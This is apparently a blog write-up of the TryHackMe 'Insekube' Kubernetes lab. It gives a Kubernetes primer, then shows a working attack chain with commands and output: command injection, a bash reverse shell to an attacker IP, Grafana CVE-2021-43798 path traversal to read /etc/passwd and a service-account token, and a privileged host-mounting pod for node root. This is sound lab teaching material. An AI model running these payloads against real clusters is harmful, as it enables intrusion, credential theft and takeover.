Exploiting Kubernetes

Blog on enumeration and exploitation on Kubernetes

In this post I will explain the basic concept of Kubernetes and how to exploit them using an example from a tryhackme room called Insekube

Kubernetes explained

Kubernetes (also known as K8s) is open source software for deploying, scaling and managing containerized applications. As an orchestrator, Kubernetes handles the work of scheduling containers on a cluster and also manages the workloads to ensure they run as you intended.

Kubernetes 101 Architecture

The way Kubernetes is architected is what makes it powerful. Kubernetes has a basic client and server architecture, but it goes way beyond that. Kubernetes has the ability to do rolling updates, it also adapts to additional workloads by auto scaling nodes if it needs to and it can also self-heal in the case of a pod meltdown. These innate abilities provide developers and operations teams with a huge advantage in that your applications will have little to no down time. In this section we provide a brief overview of the master and its worker nodes with a high level overview of how Kubernetes manages workloads.

Master Node:

The Kubernetes master is the primary control unit for the cluster. The master is responsible for managing and scheduling the workloads in addition to the networking and communications across the entire cluster. These are the components that run on the master

  1. Etcd Storage – An open-source key-value data store that can be accessed by all nodes in the cluster. It stores configuration data of the cluster’s state.

  2. Kube-API-Server – The API server manages requests from the worker nodes, and it receives REST requests for modifications, and serves as a front-end to control cluster.

  3. Kube-scheduler – Schedules the pods on nodes based on resource utilization and also decides where services are deployed.

  4. Kube-controller-manager – It runs a number of distinct controller processes in the background to regulate the shared state of the cluster and perform routine tasks. When there is a change to a service, the controller recognizes the change and initiates an update to bring the cluster up to the desired state.

Worker Nodes:

These nodes work under the command of the master note.

  1. Kubelet – Kubelet ensures that all containers in the node are running and are in a healthy state. If a node fails, a replication controller observes this change and launches pods on another healthy pod.

  2. Kube Proxy – Acts as a network proxy and a load balancer. Additionally, it forwards the request to the correct pods across isolated networks in a cluster.

  3. Pods - A pod is the basic building block on Kubernetes. It represents the workloads that get deployed. Pods are generally collections of related containers, but a pod may also only have one container

  4. Containers – Containers are the lowest level of microservice. These are placed inside of the pods and need external IP addresses to view any outside processes.

To read and know about the Kubernetes refer the following resources

Reconnaissance

Now that we have some basic idea of how kubernetes work, we can move toward how to exploit it. We will use the tryhackme room called Insekube . This room contains a Kubernetes environment

Disclaimer - Due to this room running on a VM it uses minikube which is not exactly the same as running a fully fledged Kubernetes cluster so you might experience some minor differences with a real cluster

After booting the machine for 4-5 minutes perform a nmap scan

root@kali ~/t/insekube# nmap -sC -sV -O 10.10.247.75
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-11 06:54 EST
Stats: 0:01:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 06:55 (0:00:00 remaining)
Nmap scan report for 10.10.247.75
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9f:ae:04:9e:f0:75:ed:b7:39:80:a0:d8:7f:bd:61:06 (RSA)
|   256 cf:cb:89:62:99:11:d7:ca:cd:5b:57:78:10:d0:6c:82 (ECDSA)
|_  256 5f:11:10:0d:7c:80:a3:fc:d1:d5:43:4e:49:f9:c8:d2 (ED25519)
80/tcp open  http
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Fri, 11 Mar 2022 11:54:22 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 1196
|     Connection: close
|     <!DOCTYPE html>
|     <head>
...
...

Visiting port 80

RCE

As we know that the website has a check functionality we can try some basic OS command injection commands from. From the below cheatsheet we can try some commands

https://hackersonlineclub.com/command-injection-cheatsheet/

Now after that we found a parameter that gave us a RCE - ;id;

Now that we have a clear RCE, we can get a reverse shell. Using the payload below, edit your local ip and listener port

bash -i >& /dev/tcp/10.8.135.208/1234 0>&1

Check the listener.

Now as per mentioned in the problem statement, the flag can be found in the ENV variables.

challenge@syringe-79b66d66d7-7mxhd:~$ env
env
KUBERNETES_SERVICE_PORT_HTTPS=443
GRAFANA_SERVICE_HOST=10.108.133.228
KUBERNETES_SERVICE_PORT=443
HOSTNAME=syringe-79b66d66d7-7mxhd
SYRINGE_PORT=tcp://10.99.16.179:3000
GRAFANA_PORT=tcp://10.108.133.228:3000
SYRINGE_SERVICE_HOST=10.99.16.179
SYRINGE_PORT_3000_TCP=tcp://10.99.16.179:3000
GRAFANA_PORT_3000_TCP=tcp://10.108.133.228:3000
PWD=/home/challenge
SYRINGE_PORT_3000_TCP_PROTO=tcp
HOME=/home/challenge
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
LS_COLORS=
GOLANG_VERSION=1.15.7
FLAG=flag{5e7cc6165f6c2058b11710a26691bb6b}
SHLVL=2
SYRINGE_PORT_3000_TCP_PORT=3000
GRAFANA_PORT_3000_TCP_PORT=3000
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
GRAFANA_SERVICE_PORT=3000
SYRINGE_PORT_3000_TCP_ADDR=10.99.16.179
SYRINGE_SERVICE_PORT=3000
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
GRAFANA_PORT_3000_TCP_PROTO=tcp
PATH=/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
GRAFANA_PORT_3000_TCP_ADDR=10.108.133.228
_=/usr/bin/env

Interacting with Kubernetes

Kubernetes exposes an HTTP API to control the cluster. All resources in the cluster can be accessed and modified through this API. The easiest way to interact with the API is to use the kubectl CLI. You could also interact with the API directly using curl or wget if you don't have write access and kubectl is not already present.

The Kubectl installation is easy but the machine doesn't have internet connection to do so. However, the binary is located in the /tmp directory. In the event you run into a scenario where the binary is not available, it's as simple as downloading the binary to your machine and serving it (with a python HTTP server for example) so it is accessible from the container.

Now let's move to the /tmp directory where the kubectl is conveniently located for you and try thekubectl get pods command. You'll notice a forbidden error which means the service account running this pod does not have enough permissions.

challenge@syringe:/tmp$ ./kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:syringe" cannot list resource "pods" in API group "" in the namespace "default"

Kubernetes Secrets

Kubernetes stores secret values in resources called Secrets these then get mounted into pods either as environment variables or files. You can use kubectl to list and get secrets. The content of the secret is stored base64 encoded.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl get secrets
./kubectl get secrets    
NAME                    TYPE                                  DATA   AGE
default-token-8bksk     kubernetes.io/service-account-token   3      63d
developer-token-74lck   kubernetes.io/service-account-token   3      63d
secretflag              Opaque                                1      63d
syringe-token-g85mg     kubernetes.io/service-account-token   3      63d

Use kubectl describe secret secretflag to list all data contained in the secret. Notice the flag data isn't being outputted with this command.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl describe secret secretflag
./kubectl describe secret secretflag
Name:         secretflag
Namespace:    default
Labels:       <none>
Annotations:  <none>

Type:  Opaque

Data
====
flag:  38 bytes

The output is not clear and we need to display it using JSON format.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl get secret secretflag -o 'json'
<xhd:/tmp$ ./kubectl get secret secretflag -o 'json'
{
    "apiVersion": "v1",
    "data": {
        "flag": "ZmxhZ3tkZjJhNjM2ZGUxNTEwOGE0ZGM0MTEzNWQ5MzBkOGVjMX0="
    },
    "kind": "Secret",
    "metadata": {
        "annotations": {
            "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"data\":{\"flag\":\"ZmxhZ3tkZjJhNjM2ZGUxNTEwOGE0ZGM0MTEzNWQ5MzBkOGVjMX0=\"},\"kind\":\"Secret\",\"metadata\":{\"annotations\":{},\"name\":\"secretflag\",\"namespace\":\"default\"},\"type\":\"Opaque\"}\n"
        },
        "creationTimestamp": "2022-01-06T23:41:19Z",
        "name": "secretflag",
        "namespace": "default",
        "resourceVersion": "562",
        "uid": "6384b135-4628-4693-b269-4e50bfffdf21"
    },
    "type": "Opaque"
}

Decode the flag.

root@kali ~/t/insekube# echo -n 'ZmxhZ3tkZjJhNjM2ZGUxNTEwOGE0ZGM0MTEzNWQ5MzBkOGVjMX0=' | base64 -d
flag{df2a636de15108a4dc41135d930d8ec1}

Recon in cluster

Some interesting Kubernetes objects to look for would be nodes, deployments, services, ingress, jobs. But the service account you control does not have access to any of them. However, by default Kubernetes creates environment variables containing the host and port of the other services running in the cluster.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ env
env
KUBERNETES_SERVICE_PORT_HTTPS=443
GRAFANA_SERVICE_HOST=10.108.133.228
KUBERNETES_SERVICE_PORT=443
HOSTNAME=syringe-79b66d66d7-7mxhd
SYRINGE_PORT=tcp://10.99.16.179:3000
GRAFANA_PORT=tcp://10.108.133.228:3000
SYRINGE_SERVICE_HOST=10.99.16.179
SYRINGE_PORT_3000_TCP=tcp://10.99.16.179:3000
GRAFANA_PORT_3000_TCP=tcp://10.108.133.228:3000
PWD=/tmp
SYRINGE_PORT_3000_TCP_PROTO=tcp
HOME=/home/challenge
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
LS_COLORS=
GOLANG_VERSION=1.15.7
FLAG=flag{5e7cc6165f6c2058b11710a26691bb6b}
SHLVL=2
SYRINGE_PORT_3000_TCP_PORT=3000
GRAFANA_PORT_3000_TCP_PORT=3000
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
GRAFANA_SERVICE_PORT=3000
SYRINGE_PORT_3000_TCP_ADDR=10.99.16.179
SYRINGE_SERVICE_PORT=3000
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
GRAFANA_PORT_3000_TCP_PROTO=tcp
PATH=/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
GRAFANA_PORT_3000_TCP_ADDR=10.108.133.228
_=/usr/bin/env
OLDPWD=/home/challenge

Kubernetes will create a hostname for the name of the service so you can access the service at http://grafana:3000 or the Grafana endpoint in my case http://10.108.133.228:3000.

Using curl to interact with the Grafana endpoint

challenge@syringe-79b66d66d7-7mxhd:/tmp$ curl 'http://10.108.133.228:3000'
curl 'http://10.108.133.228:3000'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    29  100    29    0     0   7250      0 --:--:-- --:--:-- --:--:--  7250
<a href="/login">Found</a>.

Login page found. Extracting the username using grep.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ curl 'http://10.108.133.228:3000/login' | grep version
<l 'http://10.108.133.228:3000/login' | grep version
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 28089    0 28089    0     0  6857k      0 --:--:-- --:--:-- --:--:-- 6857k
          alert('Your browser is not fully supported, please try newer version.');
        settings: {"alertingEnabled":false,"alertingErrorOrTimeout":"alerting","alertingMinInterval":1,"alertingNoDataOrNullValues":"no_data","allowOrgCreate":false,"appSubUrl":"","appUrl":"http://localhost:3000/","applicationInsightsConnectionString":"","applicationInsightsEndpointUrl":"","authProxyEnabled":false,"autoAssignOrg":true,"awsAllowedAuthProviders":["default","keys","credentials"],"awsAssumeRoleEnabled":true,"azure":{"cloud":"AzureCloud","managedIdentityEnabled":false},"buildInfo":{"buildstamp":1637855786,"commit":"8d74cc357","edition":"Enterprise","env":"production","hasUpdate":false,"hideVersion":false,"isEnterprise":false,"latestVersion":"","version":"8.3.0-beta2"},

Lateral Movement

Kubernetes stores the token of the service account running a pod in /var/run/secrets/kubernetes.io/serviceaccount/token. Using the LFI Vulnerability to extract the token. The token is a JWT signed by the cluster.

https://nvd.nist.gov/vuln/detail/CVE-2021-43798

https://www.exploit-db.com/exploits/50581

Now use LFI using CURL from the link below and try to load the /etc/passwd file

https://golangexample.com/cve-2021-43798-grafana-8-x-path-traversal-pre-auth/

challenge@syringe-79b66d66d7-7mxhd:/tmp$ curl --path-as-is http://10.108.133.228:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
<lugins/alertlist/../../../../../../../../etc/passwd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1230  100  1230    0     0   300k      0 --:--:-- --:--:-- --:--:--  400k
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

After that loading the token.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ curl --path-as-is http://10.108.133.228:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token
</var/run/secrets/kubernetes.io/serviceaccount/token
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1022  100  1022    0     0   499k      0 --:--:-- --:--:-- --:--:--  499k
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc4NTM4MTk4LCJpYXQiOjE2NDcwMDIxOTgsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJncmFmYW5hLTU3NDU0Yzk1Y2ItdjRucmsiLCJ1aWQiOiJmMmJkMTczZS1iNjU3LTQyNTMtYTM2NC1lNzA5ZDczMWZhMTIifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRldmVsb3BlciIsInVpZCI6IjE5NjdmYzMwLTQxYjktNDJjZC1hZGI3LWZhYjZkYWUxNDhmNiJ9LCJ3YXJuYWZ0ZXIiOjE2NDcwMDU4MDV9LCJuYmYiOjE2NDcwMDIxOTgsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRldmVsb3BlciJ9.ZuIESRMNqaeSX7w3jfUKg27dtBif4fGRHkBEQeViNAmvwZbwezC48dfLME8j2-vv23Kmq7sNqUw6DMjH-Wk-DcY-_k86MYS-01q58KB-cYbqjKByoGZ4QfKz5oKA8cwWaXbo0GOEapoNyDg_Jei_YVduPZ7MWKh9BibMckwwLtlrVqJjXFw9Sn3b0xk4mCusaybGekGoCAxrxQgICamrLKA0D9KLWriymS5dC5xd2q88HkLCdfADpAWeLTdvWd2pXo7kQZaRIXIlvH2NOnH7vw6ENs1_68rGMKK13uzme24tHSn-dbW0khqALCUbK3G5GnVPepovSDKuzXECKIAsQg

Now we need to decode and read the token. Use the jwt.io website below

https://jwt.io/

After that export the token to a variable that will be used in later cases.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ export TOKEN=(tokenvalue)

Use the --token flag in kubectl to use the new service account. Once again use kubectl to check the permissions of this account.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl auth can-i --list --token=${TOKEN}
<:/tmp$ ./kubectl auth can-i --list --token=${TOKEN}
Resources                                       Non-Resource URLs                     Resource Names   Verbs
*.*                                             []                                    []               [*]
                                                [*]                                   []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
...
...                 

The account can do * verb on . resource. This means it is a cluster-admin. With this service account, you will be able to run any kubectl command. For example, try getting a list of pods.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl get pods --token=${TOKEN}
./kubectl get pods --token=${TOKEN}
NAME                       READY   STATUS    RESTARTS       AGE
grafana-57454c95cb-v4nrk   1/1     Running   10 (39d ago)   63d
syringe-79b66d66d7-7mxhd   1/1     Running   1 (39d ago)    39d

Now that we have permission, we can directly open a bash shell.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl exec -it grafana-57454c95cb-v4nrk --token=${TOKEN} -- /bin/bash
<fana-57454c95cb-v4nrk --token=${TOKEN} -- /bin/bash
Unable to use a TTY - input is not a terminal or the right kind of file
whoami
grafana
id
uid=472(grafana) gid=0(root) groups=0(root)
hostname
grafana-57454c95cb-v4nrk

Getting the flag in the ENV variable.

env
KUBERNETES_SERVICE_PORT_HTTPS=443
GRAFANA_SERVICE_HOST=10.108.133.228
KUBERNETES_SERVICE_PORT=443
HOSTNAME=grafana-57454c95cb-v4nrk
SYRINGE_PORT=tcp://10.99.16.179:3000
GRAFANA_PORT=tcp://10.108.133.228:3000
SYRINGE_SERVICE_HOST=10.99.16.179
SYRINGE_PORT_3000_TCP=tcp://10.99.16.179:3000
GRAFANA_PORT_3000_TCP=tcp://10.108.133.228:3000
PWD=/usr/share/grafana
GF_PATHS_HOME=/usr/share/grafana
SYRINGE_PORT_3000_TCP_PROTO=tcp
HOME=/home/grafana
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
FLAG=flag{288232b2f03b1ec422c5dae50f14061f}
SHLVL=1
SYRINGE_PORT_3000_TCP_PORT=3000
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GRAFANA_PORT_3000_TCP_PORT=3000
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
GRAFANA_SERVICE_PORT=3000
SYRINGE_PORT_3000_TCP_ADDR=10.99.16.179
SYRINGE_SERVICE_PORT=3000
GF_PATHS_DATA=/var/lib/grafana
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
GF_PATHS_LOGS=/var/log/grafana
GRAFANA_PORT_3000_TCP_PROTO=tcp
PATH=/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GRAFANA_PORT_3000_TCP_ADDR=10.108.133.228
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env

Escape to the node

You can now close the Grafana pod shell and continue using the first one since it is more stable.Having admin access to the cluster you can create any resources you want. The below article explain how to get access to the Kubernetes nodes by running a pod that mounts the node's file system.

https://bishopfox.com/blog/kubernetes-pod-privilege-escalation

Creating a "bad' pod. Refer the yml from the link below

https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml

You will need a slight modification because the VM does not have an internet connection, therefore it is not able to pull the ubuntu container image. The image is available in minikube's local docker registry therefore you just need to tell Kubernetes to use the local version instead of pulling it. You can achieve this by adding imagePullPolicy: IfNotPresent to your "bad" pod container. Hightlighted in red are the changes that need to be made in the yml config file. In my case I'm using the cat command utility to write on the terminal and piping the output to the .yml file because we do not have interactive shell.

cat <<EOF > privesc.yml
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-exec-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: everything-allowed-pod
    image: ubuntu
		imagePullPolicy: IfNotPresent
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
  volumes:
  - name: noderoot
    hostPath:
      path: /
EOF

Now after this need to create a bad pod with the yml file we have.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl apply -f privesc.yml --token=${TOKEN}
<mp$ ./kubectl apply -f privesc.yml --token=${TOKEN}
pod/everything-allowed-exec-pod created

The pod is created successfully, we can ensure that the node's file system mounted to the /host. We can spawn a bash shell that will run as root resulting in a root shell.

challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl exec -it everything-allowed-exec-pod --token=${TOKEN} -- /bin/bash
<hing-allowed-exec-pod --token=${TOKEN} -- /bin/bash
Unable to use a TTY - input is not a terminal or the right kind of file
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

Now we have root shell. To get the flag navigate to /host directory because the root files are mounted to it

cd /host/root
ls
root.txt
cat root.txt
flag{30180a273e7da821a7fe4af22ffd1701}

Thank You for reading ☺️

Last updated